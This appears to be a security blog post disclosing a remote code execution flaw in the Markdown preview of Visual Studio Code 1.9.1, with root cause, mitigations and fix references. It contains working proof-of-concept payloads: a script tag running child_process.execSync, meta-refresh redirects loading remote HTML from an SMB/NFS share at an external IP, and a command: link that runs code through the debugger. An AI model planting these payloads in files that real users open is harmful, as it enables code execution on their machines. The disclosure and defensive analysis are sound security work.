Skip to main content
  1. posts/

Visual Studio Code 1.9.1: Arbitrary Code Execution via Markdown Preview

Overview #

Visual Studio Code’s Markdown Preview in v1.9.1 renders GitHub-flavored Markdown (GFM) and allows inline HTML. A malicious Markdown file can include <script> tags that execute JavaScript in the preview context. If that context has access to Node/Electron primitives, an attacker can reach Node APIs (for example child_process) and execute arbitrary commands.

Affected Version #

  • Product: Visual Studio Code
  • Version: 1.9.1
  • Issue: Arbitrary Code Execution (RCE) via Markdown Preview

Proof of Concept (RCE.md) #

Save the following as RCE.md:

<pre>
    <script>document.write(top.require('child_process').execSync('ls; open -a Calculator'))</script>
</pre>

Steps to Reproduce #

  1. Open RCE.md in Visual Studio Code.
  2. Open the Markdown preview (click the preview icon, or press ⇧⌘V on macOS).
  3. Observe command execution (e.g., Calculator launches on macOS).

Root Cause #

  • HTML is allowed in Markdown: Many Markdown renderers permit a subset (or full set) of HTML tags.
  • Scripts execute in the preview: If <script> executes, attacker-controlled JS runs in the preview document.
  • Electron / Node context access: If the preview context can reach Node APIs (directly, or via top.require(...) / preload bridges), attacker JS can call Node primitives like child_process and execute arbitrary commands.

Recommendations / Mitigations #

  • Disable Node integration for the preview renderer: Render the preview content in a BrowserWindow/frame with nodeIntegration: false (and ideally contextIsolation: true).
  • Restrict allowed HTML:
    • Allow only a safe subset of tags/attributes.
    • Further restrict attributes and protocols (e.g., prevent javascript: and data: URLs in href / src).
  • Harden navigation/redirects: Block or strictly validate redirect mechanisms that can escape the intended preview sandbox.

Update: v1.10.2 and Follow-ups #

An update shipped in v1.10.2 with changes intended to address the issue (see the tracking issue: https://github.com/Microsoft/vscode/issues/22268). This is a step in the right direction, but additional bypasses were identified.

Redirect / Auto-mount Bypass (Meta Refresh) #

The issue can be simplified using an SMB (Windows) or NFS (macOS) auto-mount, and a meta refresh can be used to redirect in a way that is not blocked by CSP.

Windows

<meta http-equiv="refresh" content="1; url=file://\\192.241.239.91\Share\rce_win.html">

macOS

<meta http-equiv="refresh" content="1; url=file:////net/192.241.239.91/var/nfs/general/rce.html">

Related fix work is referenced in commit https://github.com/Microsoft/vscode/commit/d6527b85d78a0305cf0222ebe7a42d75d7d1b199, which addresses redirect handling. Node integration was already disabled; the change landed in Insiders and was expected in the 1.11 release.

Notes on webview / Preload Context #

When inspecting the preview, user content appears to load inside a webview. The element may look similar to:

<webview tabindex="-1" nodeintegration="" preload="file:///Applications/Visual%20Studio%20Code.app/Contents/Resources/app/out/vs/workbench/parts/html/browser/webview-pre.js">

Electron’s documentation notes that preload scripts can expose powerful primitives to the page unless carefully isolated. If possible, ensure nodeIntegration remains disabled, use contextIsolation, and keep preload bridges minimal and defensive.

The following link can execute code when clicked by invoking VS Code commands:

<a href="command:vscode.startDebug?%7B%22type%22:%22node%22,%22request%22:%22launch%22,%22args%22:%5B%22-e%22,%22process.exit(require('child_process').execSync('open%20-a%20Calculator'))%22%5D%7D">Debugger Test...</a>

And the following can bypass CSP by “previewing” outside the iframe:

<a href="command:vscode.previewHtml?%22file:///path/to/test.html%22">Preview Test...</a>

References #

  • VS Code issue tracker reference: https://github.com/Microsoft/vscode/issues/22268
  • Redirect handling commit: https://github.com/Microsoft/vscode/commit/d6527b85d78a0305cf0222ebe7a42d75d7d1b199